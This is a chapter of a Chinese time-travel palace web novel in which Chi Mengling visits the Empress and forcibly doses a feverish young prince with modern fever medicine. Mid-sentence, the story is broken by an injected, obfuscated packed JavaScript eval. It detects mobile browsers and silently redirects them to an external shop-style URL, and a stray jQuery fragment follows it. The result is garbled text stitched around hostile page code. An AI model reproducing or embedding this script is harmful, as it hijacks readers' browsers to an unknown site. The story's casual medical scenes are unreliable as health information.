池梦灵没有拒绝太子的邀请,接下来正好是国庆七天长假,她可以在东宫住七天,多和皇宫里的贵人们聊聊天,或许能激发什么赚钱灵感呢~
“能给我一天时间吗?我收拾下行李。”
太子点头,并掏出一块玉佩递给池梦灵:“等你收拾好了,自可凭这块玉佩进宫。”
池梦灵笑着接过。
她当然没有要收拾的行李,她是为了争分夺秒。
忍着双腿酸疼,池梦灵跑了几家成衣店,买了十几套不同款的衣裳,还配了些发饰和最初计划中的团扇。
她连夜穿回现代,将这些一件件拍了美图上架,发货时间写了预售七天。
不管有没有人拍,至少不会浪费时间。
在出租屋的床上睡到日上三竿,池梦灵才再次驱动罗盘穿到烆朝。
凭玉佩,池梦灵自然没有被阻拦,丝滑地进了东宫,就是走着走着,走到了太子殿下跟前。
“……参见…殿下?”池梦灵试探性地开口。
太子在看折子,头都没抬,只抬了手:“不必拘礼。”
“谢殿下,没想到殿下还等我啊?”
太子扶住额看向池梦灵,强调:“孤本就坐在这儿处理公务。”
“哦哦哦。”
“你不是说…去收拾行李了吗?你的行李呢?”
池梦灵双手空空,根本不像揣了东西来的。
太子一直派人跟着池梦灵,昨天离开酒楼后,池梦灵先后走了几家铺子,买了满满当当的东西,可眨眼的功夫人就消失了,探查的影卫怎么都不能再寻到踪迹。
那可是皇室培养的专司跟踪探访的影卫。
池梦灵身上必然藏了许多秘密,太子笑眯眯地看着池梦灵,心底满是盘算。
池梦灵不在乎太子奇奇怪怪的神情,随口造了个理由:“我收拾着收拾着发现也没什么东西,我来东宫住,殿下总不可能苛待我吧。”
太子歪了歪脑袋,揶揄道:“你的意思是,换洗衣物也要东宫给你安排?”
“……”糟糕,完全没想过这茬,池梦灵换衣服都是回现代,毕竟她是疯了才会放着洗衣机不用,在古代手洗衣服。
太子失笑,池梦灵的反应让他有点明白为何母后只一眼便生了喜欢。
聪明但看得清深浅。
“罢了,你若能讨母后开心,孤便赏你几件衣服。”
“谢殿下。”池梦灵咬牙憋出一句。
“不客气。”太子不要脸地应了,手一摊,“玉佩。”
池梦灵假笑着双手递上。
太子挥挥手赶人:“让福安带你去长乐宫。”
福安,是领池梦灵进殿的太监,年纪不大,领命后便带着池梦灵离开了。
池梦灵走远后,太子招来东宫掌事太监,随口问:“听明白了?”
“是。”
“安排的住处偏一点,准备的东西不要怠慢。”
“是。”掌事不理解,但掌事照办。
太子冷冷勾起嘴角,偏僻一点,自然是给池梦灵一些自由发挥的空间,越自由,必然暴露得越多。
被算计的池梦灵对太子的阴谋一无所知,心无旁骛地跟着太监福安来到皇后的寝宫,长乐宫。
“参见皇后娘娘。”池梦灵规规矩矩行了礼。
“快起来,不必多礼。”
池梦灵利索地站起身。
皇后气色不错,坐在软塌上,正笑眼看向她。与上次见面不同,今日皇后穿着层层叠叠繁复又华丽的钿钗礼衣,头发挽起漂亮的发髻,珍贵又精致的发簪和步摇,错落有致地点缀着。
雍容华贵。
池梦灵看呆了。
“过来坐吧。”皇后拍拍身旁的软垫。
池梦灵也不客气,径直走过去坐了下来。坦率讲,没有人体工学椅舒服,可惜人体工学椅不能出现在古代,不然一定能坑到一大笔钱,池梦灵心碎。
”看茶。”皇后吩咐到,又转向池梦灵,“这是刚刚拿来的荷花酥,尝尝?”
池梦灵一坐下就瞥到这糕点了,长得和真荷花一样:“谢谢。”
池梦灵甜甜地道了谢,愉快地吃了起来。
皇宫里的东西还真是不可多得的美味,池梦灵作为各大甜品店常客,却从没吃到过这么好吃的酥,荷叶的清香和莲子的清苦完美糅合。
“这太好吃了。”
皇后抵唇笑了笑:“那一会儿就往东宫送一点。”
“嗯嗯,不过皇后娘娘的病刚好,还是要少吃糕点。”
“此话怎讲?”
“娘娘的病症要忌油腻,酥类的糕点都是用大量猪油做出来的,还是缓一阵子再吃比较稳妥。”
“池大夫懂得还挺多。”
“皇后娘娘既知道我姓池,太子殿下未提…我并非大夫吗?”
“池大夫治好了本宫的病,于本宫而言当得起大夫二字。”
池梦灵笑容一滞,皇后娘娘说话确实好听,如沐春风,可她不好意思应承啊。
“不知…皇后娘娘唤我梦灵可好?也更…更亲近。”
“也好,梦灵懂如何做糕点?”
“年幼时想以此谋生,学过一段时间。”池梦灵回忆起她高中时期,中二病发作,立志成为一名厨师,被爸妈追着打。
“以做糕点谋生?”
“还有各种佳肴。”
“如此,梦灵必然做得一手好菜?”
“非也,学了一半发现没有天赋,早已成了不堪回首的往事。”
“此事还需要天赋?”
“就如这荷花酥,有天赋的人做出来是荷花状,我做出来与馒头无异。”
皇后娘娘想象了下馒头状的荷花酥,笑到差点止不住,她没看错,池梦灵这孩子是很有趣。
“娘娘!”
忽然,一个太监打扮的人从殿外冲进来,跪在了皇后跟前。
“怎么了?”
“十三皇子殿下恐怕要不行了。”
“怎么回事!”皇后站起身,难得严厉,“昨夜不是退热了吗?”
“方才又烧起来了,烧得太高,太医束手无策啊。”
皇后皱了眉:“带路。”
说完,她转向池梦灵,温声问:“梦灵虽说自己并非大夫,可要随本宫去看看?”
听上去是发烧,池梦灵心想没准能帮上忙,点了点头便跟上了。
十三皇子的寝殿闹哄哄的,婢女太监进进出出,送水送药的,脸上都挂了惶恐不安,好几个太医挤在外间,神情沉重地商量对策。
池梦灵跟紧皇后娘娘,走进里间。
里间的床上躺着一个十岁左右的男孩,双眼紧闭,想来就是生病的十
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029348|194510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三皇子。床边还哭倒着一个衣着华贵的女子,想来是十三皇子的生母。
“淑妃娘娘,您别哭坏了身子。”跪在一旁的婢女哭着劝。
原来是淑妃,池梦灵暗自记下了。
“皇后娘娘来了。”有人轻声通报。
淑妃理都不理。
池梦灵眼珠子转了转,低头不语。
皇后没怪罪,柔声问:“淑妃,十三皇子如何了?”
淑妃先是回头瞪了眼皇后,继而在婢女的搀扶下缓缓站起身,恶声恶气地开口:“这局面皇后满意了?”
“淑妃何出此言?”
“若不是给皇后看病用掉了最后一株千年人参,如今怎会没有人参给十三皇子吊命?”
池梦灵抬眸偷偷扫了眼淑妃,果然长得像笨蛋美人,这套逻辑真是令人服气,退一步讲,千年人参这么补的东西,用在发高烧的小孩身上,到底是续命还是催命啊?
“淑妃慎言!”
开口的是皇后身边的嬷嬷,若池梦灵没搞错,正是知夏。
知夏说话可比皇后冷硬百倍,淑妃是生气,但死咬着下唇不敢真放肆。
池梦灵算是看出了点门道,皇后娘娘性子软脾气好,但身份摆在这儿,她身旁冷面的嬷嬷是向众人提醒这层身份的。
“淑妃娘娘,十三皇子只是高热吗?这几日可有什么症状?”池梦灵上前一步,打破了僵局,自如地开口问到。
“你是谁?”淑妃轻蔑地问。
池梦灵笑言:“皇后娘娘此前的病症是民女治好的。”
“呵~”这话根本没打动淑妃,“本宫可不敢用皇后的人。”
淑妃态度恶劣,但皇后还是问:“池大夫能治高热?”
“要看这几日的症状。”
皇后挥挥手,知夏上前说:“十三皇子三天前落了水,接着便起了高热,太医用猛药制住,却总有反弹。”
“可有咳嗽,咽疼的症状。”
知夏摇摇头,这就不是众所周知的消息了。
“有。”外间,有太医走进来,随口回答了池梦灵的问题。
病毒性感冒和细菌性感冒的可能性都有,池梦灵不敢轻易用药。
那名太医走到池梦灵身前,直白问:“就是你治好了皇后娘娘?”
“算是吧。”
“当务之急是要让十三皇子的高热退下来,你有法子吗?”这名太医的态度不热络也不轻蔑,硬要说有点像专注学术缺乏情商的直男。
池梦灵掏出一包药:“冲泡服用,可退高热。”
“什么乱七八糟的!”淑妃冲过来,打落池梦灵手中的药,“本宫绝不可能让十三皇子用这种来路不明的药,更别提你是皇后的人。”
随即,太医和皇后替池梦灵说了几句话。
池梦灵不想争辩,淑妃打落的是她手头最好的退烧药,儿童可用,五分钟内退烧止疼。
效果胜于雄辩,池梦灵转身找到茶壶和杯子,从怀里掏出另一包药,倒进去后随手晃了晃,紧接着和幽灵一样飘到十三皇子榻边,将药硬灌了进去。
池梦灵做得实在出人意料,整个过程很快,加之淑妃太医和皇后几人还在争论,在她成功前压根没人留意到她的动作。
待她做完,所有人都傻了。
池梦灵半跪在榻前,直言:“事急从权。”